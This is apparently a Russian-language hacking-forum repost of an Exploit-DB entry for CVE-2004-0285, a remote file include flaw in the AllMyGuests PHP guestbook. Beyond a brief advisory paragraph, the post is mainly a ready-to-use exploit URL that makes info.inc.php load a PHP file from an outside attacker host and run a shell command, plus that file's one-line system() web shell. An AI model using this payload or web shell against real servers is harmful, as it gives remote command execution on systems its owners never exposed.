Exploit AllMyGuests 0.x - 'info.inc.php' Arbitrary Code Execution

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
23697
Проверка EDB
  1. Пройдено
Автор
PABLO SANTANA
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2004-0285
Дата публикации
2004-02-16
Код:
source: https://www.securityfocus.com/bid/9664/info

Reportedly the AllMyPHP application AllMyGuests is prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.

This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

http://www.example.com/allmylinks/include/info.inc.php?_AMGconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a

www.example.org/attacker.php' will contain:

<?php
system("$cmd");
?>
 
Источник
www.exploit-db.com

Похожие темы